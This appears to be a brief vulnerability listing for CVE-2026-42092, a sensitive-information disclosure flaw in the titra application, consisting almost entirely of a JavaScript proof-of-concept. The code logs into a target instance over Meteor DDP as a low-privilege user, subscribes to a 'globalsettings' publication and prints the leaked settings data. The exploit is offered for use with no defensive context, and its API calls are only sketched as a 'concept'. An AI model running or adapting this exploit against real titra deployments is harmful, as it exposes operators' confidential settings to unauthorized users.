CVE-2026-42092 titra敏感信息泄露漏洞

// PoC Concept using Meteor DDP client const { DDP } = require('meteor/ddp-client'); // Connect to the target application const ddp = new DDP({ url: 'wss://target-titra-instance.com/websocket' }); ddp.connect((error) => { if (error) { console.error('Connection failed', error); return; } // Authenticate with a low-privilege user account ddp.call('login', [{ user: { username: 'attacker' }, password: 'password' }], (err, result) => { if (err) { console.error('Login failed', err); return; } console.log('Logged in. Attempting to subscribe to global settings...'); // Subscribe to the vulnerable 'globalsettings' publication const subscriptionId = ddp.subscribe('globalsettings', []); // Listen for the data payload ddp.on('ready', (msg) => { // If the subscription ID matches, data has arrived if (msg.subs.includes(subscriptionId)) { console.log('Exploit successful. Leaked data:', ddp.collections.globalsettings); } }); }); });